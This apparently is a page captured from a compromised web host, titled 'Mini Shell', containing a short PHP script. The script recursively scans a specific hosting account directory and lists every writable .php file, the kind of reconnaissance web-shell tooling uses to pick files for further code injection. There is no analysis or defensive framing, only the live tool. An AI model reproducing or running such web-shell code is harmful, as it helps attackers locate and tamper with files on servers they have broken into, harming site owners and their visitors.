Mini Shell

<?php   function scan($path, $root) {     if ($dir = @opendir($path)) {         while (false !== ($file = readdir($dir))) {             $p = $path . '/' . $file;             if ($file != '.' && $file != '..') {                 if (is_link($p)) {                     continue;                 } elseif (is_file($p) && substr($p, -4) == '.php' && is_writeable($p)) {                     $res = str_replace($root, '', $p);                     print "<f>{$res}</f>";                 } elseif (is_dir($p)) {                     scan($p, $root);                 }             }         }     } } $r = "/home/ukubnwwt/turvalty.com"; scan($r, $r); die('!ended!');